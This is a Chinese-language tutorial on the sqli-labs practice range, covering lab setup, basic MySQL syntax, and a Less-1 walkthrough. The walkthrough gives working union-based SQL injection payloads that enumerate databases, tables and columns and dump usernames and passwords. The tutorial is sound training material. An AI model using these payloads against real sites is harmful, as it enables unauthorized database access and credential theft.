目录
- 1.安装靶场
- 2.了解几个sql常用知识
- 2.1联合查询union用法
- 2.2MySQL中的通配符:
- 2.3常用函数
- 2.4数据分组
- 3.mysql中重要的数据库和表
- 4.开始闯关
- 4.1 Less-1
- 4.1.1 首先进行一次常规的注入
- 4.1.2 深入解析
1.安装靶场
1.首先推荐使用github下载靶场源码
https://github.com/Audi-1/sqli-labs
2.接着你需要phpstudy即小皮面板来启动网站
https://www.xp.cn/
3.将下载下来的网站源码解压到小皮www文件夹下,通过浏览器进行访问。
4.接着点击setup创建相关的security数据库。这里我们要注意几个问题,首先是要点击sql_connections中的db_creds文件来更改连接数据库的密码,然后是要注意小皮面板所使用的php版本要更改为低版本例如php5.6.9。
5.创建靶场成功
2.了解几个sql常用知识
2.1联合查询union用法
联合查询必须要保证列是相同的
联合查询还有就是前面条件为假时后面条件才会生效
-- 中国或美国城市信息
SELECT * FROM city
WHERE countrycode IN ('CHN' ,'USA');
SELECT * FROM city WHERE countrycode='CHN'
UNION ALL
SELECT * FROM city WHERE countrycode='USA'
说明:一般情况下,我们会将 IN 或者 OR 语句 改写成 UNION ALL,来提高性能
UNION 去重复
UNION ALL 不去重复
**查询结果限定**
在SELECT语句最后可以用LIMLT来限定查询结果返回的起始记录和总数量。MySQL特有。
SELECT … LIMIT offset_start,row_count;
offset_start:第一个返回记录行的偏移量。默认为0.
row_count:要返回记录行的最大数目。
例子:
SELECT * FROM TB_EMP LIMIT 5;/*检索前5个记录*/
SELECT * FROM TB_EMP LIMIT 5,10;/*检索记录行6-15*/
2.2MySQL中的通配符:
MySQL中的常用通配符有三个:
%:用来表示任意多个字符,包含0个字符
_ : 用来表示任意单个字符
escape:用来转义特定字符
2.3常用函数
group_concat 多行显示变成一行
select group_concat(id,password,emails) from users;
select database() 查看数据库
select version() 查看版本
session_user() 返回连接数据库的用户名和主机名,也就是网站配置文件中连接数据库的账户
ascii() 将参数字符串转换为asccii码
length() 返回字符串长度
LEFT (str,len) 从左侧字截取符串,返回字符串左边的若干个字符
RIGHT 从右侧字截取符串,返回字符串右边的若干个字符
REPLACE(s,s1,s2) 字符串替换函数,返回替换后的新字符串
SUBSTRING(s,n,len) 截取字符串,返回从指定位置开始的指定长度的字符换
REVERSE 字符串反转(逆序)函数,返回与原始字符串顺序相反的字符串
2.4数据分组
数据分组--GROUP BY
GROUP BY子句的真正作用在于与各种聚合函数配合使用。它用来对查询出来的数据进行分组。
分组的含义是:把该列具有相同值的多条记录当成一组记录处理,最后只输出一条记录。
分组函数忽略空值,。
结果集隐式按升序排列,如果需要改变排序方式可以使用Order by 子句。
SELECT column, group_function
FROM table
[WHERE condition]
[GROUP BY group_by_expression]
[ORDER BY column];
order by的列如果是1,2,3那麽返回的就是第1,2,3列表中的数据。
#每个部门的平均工资
SELECT deptno,AVG(sal) FROM TB_EMP GROUP BY deptno
3.mysql中重要的数据库和表
请参照这篇博客
https://blog.csdn.net/qq_61237064/article/details/124434520
4.开始闯关
4.1 Less-1
4.1.1 首先进行一次常规的注入
观察靶场我们可以发现,它让我们输入一个id,那我们就进行测试吧。
输入id=1
4.1.2 深入解析
既然我们可以输入一个id,那我们是否可以输入一些其他的语句,来获取更多的数据呢,答案是当然的,接下来我们就要依靠上面的知识。
1.探析所注入的表的列数
我们在上面知道了order by的用法,它可以为我们探查这个表到底有几列,例如
select * from users order by 1;
我们注入一个order by为5,即猜测表中有5列数据,他返回个错误,这下我们就知道了,他没有五列数据,我们就可以用二分法(100,50,25,12,6,3)来探查到底有几列数据,我们最终发现这个表有三列数据。
2.查库名
接下来就要用到联合查询union了。当我们查询所返回的列不与前面的数据的列相同时就会报错。列数相同时,数据就合并了。
我们发现查了1,2,3,他就返回了1,2,3,当我们查询数据库名字database(),数据库版本version()的时候他也会显示。
甚至你可以查出他所有的库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
3.查表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
4查users表中的列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name = 'users' --+
5.查users表中所有数据
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+